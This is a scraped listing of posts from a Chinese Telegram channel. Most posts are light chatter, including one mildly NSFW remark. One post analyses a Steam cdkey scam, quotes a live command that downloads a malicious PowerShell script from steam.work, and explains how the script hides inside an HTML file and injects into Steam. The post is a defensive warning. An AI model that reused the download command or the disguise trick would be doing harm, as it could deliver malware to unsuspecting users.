凌莞的奇奇怪怪的分享

@ttyUSB0w

幽默与娱乐

(\_/) ( •×•) />0w< 喵大概分享一些日常和看到的有意思的东西qwq 评论区请勿抬杠 ae6c8a @Clanstty

Subscribers459频道当前订阅规模

Tracked posts637频道帖子计数

Recent reach3,965最近帖子视图总和

最近帖子

第 24/54 页 · 共 637 条

发布 8月10日

查看

（nsfw）感觉很多涩涩视频主动角色一般是一个男的，还很丑，看到之后性欲都减半了那些主动角色是女的或者是女同视频反而感觉更知道该怎么玩，看了之后身体都酥酥麻麻的感觉（

309 views

发布 8月10日

查看

308 views

发布 8月10日

查看

听林小姐说中文技术圈有瓜吃居然是因为一个初学cs的小姐姐在k8s文档上加了换行，发了开心的post，然后评论区就炸了。而在此之前，她默默自学了云原生和Vim，还记了笔记。她本职是英文编辑，我想自然可以对排版提意见。我希望她继续加油，也希望我们的社区善待新人，就像善待当初跌跌撞撞的自己 https://fixupx.com/cyanvtb/status/1822159777285144873

339 views

发布 8月10日

查看

255 views

发布 8月9日

查找相似查看

【无症状携柜者】有些顺直人会发现，自己认识的好友们一个个出柜变弯变跨甚至手术，但自己还是钢铁直，只是和自己接触的人容易弯。这些人很可能就是“无症状携柜者”，会传染搞弯他人，但自己依然顺直。 #帆帆词典

207 views

Hashtags

#帆帆词典

发布 8月8日

查看

# 关于 steam.work 激活码诈骗脚本的分析结论放在前面：如果买 cdkey 买到让你要输入某个脚本再激活的，那别去管他，立刻退货并举报商家！原因就直接贴我写这个就行... ## 正文刚刚去买了个 cdkey 准备送给朋友，结果一看发货介绍感觉有点不对劲：【图1】啥啊，irm iex 这不是经典的从网络获取脚本并执行的操作吗，怎么领个激活码还要搞这？我一开始还以为是自动安装加速器，商家还怪好的捏，直到我激活不了，把这脚本拉下来看了看：【图2】好家伙这玩意整了个极其有欺骗性的东西，因为powershell的多行注释正好是<# #>，正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转，真是够阴损那么真实的代码就只剩一行了 irm steam.work/pwsDwFile/new1 -OutFile x.ps1 又下文件这回下了个什么玩意出来？【图三有分析】我怎么兑换个激活码你还给我注入上 Steam了！有病啊！那么我们便不得不好奇一下注入的文件里到底干了啥呢，我们下下来.... （好吧我根本下不下来一下下来就被WD干掉了根本没有分析的机会哇！最后还是把WD关掉了）随便分析一下【图4】咋还有个zlib? 在解压什么? 于是动态调试给他 dump 下来，一看这文件头就是 PE 文件...原来是套娃，下载的两个文件里第二个文件就是加密过的真实病毒数据...又把这个解压出来的东西拿去静态分析然后发现这里面啥都没有，而且有三个 .text 段，其中两个都是空的，这也太神奇了吧...链接的几个库只有 sqlite3, bcrypt...等等这莫不是在写 steam 的数据库？（草怎么快三点了该睡觉了明天再说！~）相关样本我会发在评论区想玩的各位可以玩玩看xD

275 views

发布 8月4日

查看

我们现在有杂交 Telegram

304 views

发布 8月4日

查看

我们现在有杂交 Telegram

324 views

发布 8月2日

查看

现在 @AquaDXBot 已经改用用户名绑定账号，性能更好，接口效率更高之前的 GhostCard 绑定已经绝版（